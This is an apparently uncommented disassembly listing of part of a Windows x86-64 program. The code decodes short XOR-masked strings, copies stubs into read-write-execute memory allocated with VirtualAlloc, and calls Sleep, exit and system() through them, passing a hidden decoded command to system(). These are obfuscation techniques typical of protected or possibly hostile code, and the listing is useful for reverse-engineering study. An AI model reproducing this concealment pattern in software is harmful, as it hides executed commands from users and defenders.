movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043170
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140057958]
mov qword [r14 + rax*8 + 0x58610], r13
mov qword [r14 + rax*8 + 0x5bea0], r8
inc rax
mov qword [0x140057958], rax
lea rcx, [0x140038250]
call r8
nop
movabs rdx, 0x7a5db90d33787107
xor rbx, rdx
mov qword [r12], rbx
lea r13, [0x140044f50]
test al, al
jne 0x1400436ab
movdqa xmm0, xmmword [0x14004f870]
movdqu xmmword [rbp + 7], xmm0
movdqa xmm1, xmmword [0x14004f840]
movdqu xmmword [rbp + 0x17], xmm1
mov word [rbp + 0x27], 0x36
mov byte [rbp + 0x29], 1
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 9]
xor byte [rbp + rcx + 7], al
inc rcx
cmp rcx, 0x21
jb 0x140043280
mov byte [rbp + 0x29], 0
lea rax, [rbp + 7]
mov qword [rbp - 0x21], rax
lea rax, [rbp + 0x5f]
mov qword [rbp - 0x31], rdx
mov qword [rbp - 0x29], rax
mov rbx, qword [rax]
xor rbx, rdx
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005ce50]
lea r12, [0x1400450e0]
test rax, rax
je 0x1400432f9
mov rdx, r15
nop
cmp rax, r12
je 0x1400432e8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5ce50]
test rax, rax
jne 0x1400432d0
jmp 0x1400432f9
mov r8, qword [r14 + rdx*8 + 0x5d170]
test r8, r8
jne 0x1400433df
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043320
mov r8, r15
jmp 0x1400433be
mov rax, r12
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043330
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400616c8]
mov qword [r14 + rax*8 + 0x5ce50], r12
mov qword [r14 + rax*8 + 0x5d170], r8
inc rax
mov qword [0x1400616c8], rax
lea rdx, [rbp - 0x21]
lea rcx, [fcn.1400012b0]
call r8
nop
mov dword [rbp - 1], 0xbb8
lea rax, [rbp + 0x5f]
movabs rcx, 0x7a5db90d33787107
mov qword [rbp - 0x31], rcx
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005d490]
lea r12, [0x140044f50]
test rax, rax
je 0x140043459
mov rdx, r15
nop dword [rax + rax]
cmp rax, r12
je 0x140043448
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5d490]
test rax, rax
jne 0x140043430
jmp 0x140043459
mov r8, qword [r14 + rdx*8 + 0x598d0]
test r8, r8
jne 0x14004353f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043480
mov r8, r15
jmp 0x14004351e
mov rax, r12
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043490
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14005e760]
mov qword [r14 + rax*8 + 0x5d490], r12
mov qword [r14 + rax*8 + 0x598d0], r8
inc rax
mov qword [0x14005e760], rax
lea rdx, [rbp - 1]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov dword [rbp - 1], r15d
lea rax, [rbp + 0x5f]
movabs rcx, 0x7a5db90d33787107
mov qword [rbp - 0x31], rcx
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005e120]
test rax, rax
je 0x1400435aa
mov rdx, r15
cmp rax, r13
je 0x140043599
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5e120]
test rax, rax
jne 0x140043581
jmp 0x1400435aa
mov r8, qword [r14 + rdx*8 + 0x5e780]
test r8, r8
jne 0x14004368f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400435d1
mov r8, r15
jmp 0x14004366e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400435e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140058600]
mov qword [r14 + rax*8 + 0x5e120], r13
mov qword [r14 + rax*8 + 0x5e780], r8
inc rax
mov qword [0x140058600], rax
lea rdx, [rbp - 1]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call r8
nop
movabs rdx, 0x7a5db90d33787107
xor rbx, rdx
lea r12, [rbp + 0x5f]
mov qword [rbp - 0x31], rdx
mov qword [rbp - 0x29], r12
xor rbx, rdx
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
mov rax, qword [0x140058610]
test rax, rax
je 0x140043709
mov rdx, r15
lea r9, [0x140045290]
nop dword [rax + rax]
cmp rax, r9
je 0x1400436f8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x58610]
test rax, rax
jne 0x1400436e0
jmp 0x140043709
mov r8, qword [r14 + rdx*8 + 0x5bea0]
test r8, r8
jne 0x1400437f6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043730
mov r8, r15
jmp 0x1400437ce
lea rax, [0x140045290]
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043740
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140057958]
lea rcx, [0x140045290]
mov qword [r14 + rax*8 + 0x58610], rcx
mov qword [r14 + rax*8 + 0x5bea0], r8
inc rax
mov qword [0x140057958], rax
lea rcx, [0x140039ac0]
call r8
nop
movabs rdx, 0x7a5db90d33787107
xor rbx, rdx
mov qword [r12], rbx
test al, al
jne 0x140043c7b
movdqa xmm0, xmmword [0x14004f3d0]
movdqu xmmword [rbp + 7], xmm0
mov dword [rbp + 0x17], 0x7e60666e
mov dword [rbp + 0x1b], 0x67616d62
mov dword [rbp + 0x1f], 0x33757575
mov word [rbp + 0x23], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx - 9]
xor byte [rbp + rcx + 7], al
inc rcx
cmp rcx, 0x1c
jb 0x140043850
mov byte [rbp + 0x24], 0
lea rax, [rbp + 7]
mov qword [rbp - 0x21], rax
lea rax, [rbp + 0x5f]
mov qword [rbp - 0x31], rdx
mov qword [rbp - 0x29], rax
mov rbx, qword [rax]
xor rbx, rdx
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005ce50]
lea r12, [0x1400450e0]
test rax, rax
je 0x1400438c9
mov rdx, r15
nop
cmp rax, r12
je 0x1400438b8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5ce50]
test rax, rax
jne 0x1400438a0
jmp 0x1400438c9
mov r8, qword [r14 + rdx*8 + 0x5d170]
test r8, r8
jne 0x1400439af
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400438f0
mov r8, r15
jmp 0x14004398e
mov rax, r12
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043900
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400616c8]
mov qword [r14 + rax*8 + 0x5ce50], r12
mov qword [r14 + rax*8 + 0x5d170], r8
inc rax
mov qword [0x1400616c8], rax
lea rdx, [rbp - 0x21]
lea rcx, [fcn.1400012b0]
call r8
nop
mov dword [rbp - 1], 0xbb8
lea rax, [rbp + 0x5f]
movabs rcx, 0x7a5db90d33787107
mov qword [rbp - 0x31], rcx
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005d490]
lea r12, [0x140044f50]
test rax, rax
je 0x140043a29
mov rdx, r15
nop dword [rax + rax]
cmp rax, r12
je 0x140043a18
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5d490]
test rax, rax
jne 0x140043a00
jmp 0x140043a29
mov r8, qword [r14 + rdx*8 + 0x598d0]
test r8, r8
jne 0x140043b0f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043a50
mov r8, r15
jmp 0x140043aee
mov rax, r12
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043a60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14005e760]
mov qword [r14 + rax*8 + 0x5d490], r12
mov qword [r14 + rax*8 + 0x598d0], r8
inc rax
mov qword [0x14005e760], rax
lea rdx, [rbp - 1]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov dword [rbp - 1], r15d
lea rax, [rbp + 0x5f]
movabs rcx, 0x7a5db90d33787107
mov qword [rbp - 0x31], rcx
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005e120]
test rax, rax
je 0x140043b7a
mov rdx, r15
cmp rax, r13
je 0x140043b69
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5e120]
test rax, rax
jne 0x140043b51
jmp 0x140043b7a
mov r8, qword [r14 + rdx*8 + 0x5e780]
test r8, r8
jne 0x140043c5f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043ba1
mov r8, r15
jmp 0x140043c3e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043bb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140058600]
mov qword [r14 + rax*8 + 0x5e120], r13
mov qword [r14 + rax*8 + 0x5e780], r8
inc rax
mov qword [0x140058600], rax
lea rdx, [rbp - 1]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call r8
nop
movabs rdx, 0x7a5db90d33787107
xor rbx, rdx
lea r12, [rbp + 0x5f]
mov qword [rbp - 0x31], rdx
mov qword [rbp - 0x29], r12
xor rbx, rdx
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
lea r13, [0x140045290]
mov rax, qword [0x140062040]
test rax, rax
je 0x140043cd9
mov rdx, r15
nop dword [rax + rax]
cmp rax, r13
je 0x140043cc8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x62040]
test rax, rax
jne 0x140043cb0
jmp 0x140043cd9
mov r8, qword [r14 + rdx*8 + 0x5fd90]
test r8, r8
jne 0x140043dbf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043d00
mov r8, r15
jmp 0x140043d9e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043d10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14005ddf0]
mov qword [r14 + rax*8 + 0x62040], r13
mov qword [r14 + rax*8 + 0x5fd90], r8
inc rax
mov qword [0x14005ddf0], rax
lea rcx, [0x140042090]
call r8
nop
movabs rdx, 0x7a5db90d33787107
xor rbx, rdx
mov qword [r12], rbx
mov qword [0x1400578e0], rax
mov dword [rbp - 1], 0x8a9494
mov byte [rbp + 3], 1
mov rcx, r15
lea eax, [rcx - 9]
xor byte [rbp + rcx - 1], al
inc rcx
cmp rcx, 3
jb 0x140043df0
mov byte [rbp + 3], 0
lea rax, [rbp - 1]
mov qword [rbp - 0x21], rax
lea r12, [rbp + 0x5f]
mov qword [rbp - 0x31], rdx
mov qword [rbp - 0x29], r12
mov rbx, qword [r12]
xor rbx, rdx
mov qword [rbp - 0x39], rbx
mov qword [r12], r15
mov ecx, r15d
mov rax, qword [0x14005a260]
test rax, rax
je 0x140043e69
mov rdx, r15
lea r8, [0x1400450e0]
cmp rax, r8
je 0x140043e58
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x5a260]
test rax, rax
jne 0x140043e40
jmp 0x140043e69
mov r8, qword [r14 + rdx*8 + 0x5dad0]
test r8, r8
jne 0x140043f56
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140043e90
mov r8, r15
jmp 0x140043f2e
lea rax, [0x1400450e0]
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140043ea0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140062cc8]
lea rcx, [0x1400450e0]
mov qword [r14 + rax*8 + 0x5a260], rcx
mov qword [r14 + rax*8 + 0x5dad0], r8
inc rax
mov qword [0x140062cc8], rax
lea rdx, [rbp - 0x21]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rdx, 0x7a5db90d33787107
xor rbx, rdx
mov qword [r12], rbx
movdqa xmm0, xmmword [0x14004f3c0]
movdqu xmmword [rbp + 7], xmm0
mov word [rbp + 0x17], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx - 9]
xor byte [rbp + rcx + 7], al
inc rcx
cmp rcx, 0x10
jb 0x140043f90
mov byte [rbp + 0x18], 0
lea rax, [rbp + 7]
mov qword [rbp - 0x21], rax
lea rax, [rbp + 0x5f]
mov qword [rbp - 0x31], rdx
mov qword [rbp - 0x29], rax
mov rbx, qword [rax]
xor rbx, rdx
mov qword [rbp - 0x39], rbx
mov qword [rax], r15
mov ecx, r15d
lea r12, [0x140045000]
mov rax, qword [0x140060710]
test rax, rax
je 0x140044009
mov rdx, r15
nop
cmp rax, r12
je 0x140043ff8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x60710]
test rax, rax
jne 0x140043fe0
jmp 0x140044009
mov r9, qword [r14 + rdx*8 + 0x5af00]
test r9, r9
jne 0x1400440ef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140044030
mov r9, r15
jmp 0x1400440ce
mov rax, r12
mov rcx, r9
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140044040
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400600c0]
mov qword [r14 + rax*8 + 0x60710], r12
mov qword [r14 + rax*8 + 0x5af00], r9
inc rax
mov qword [0x1400600c0], rax
lea r8, [0x1400578e0]
lea rdx, [rbp - 0x21]
lea rcx, [fcn.1400012b0]
call r9
nop
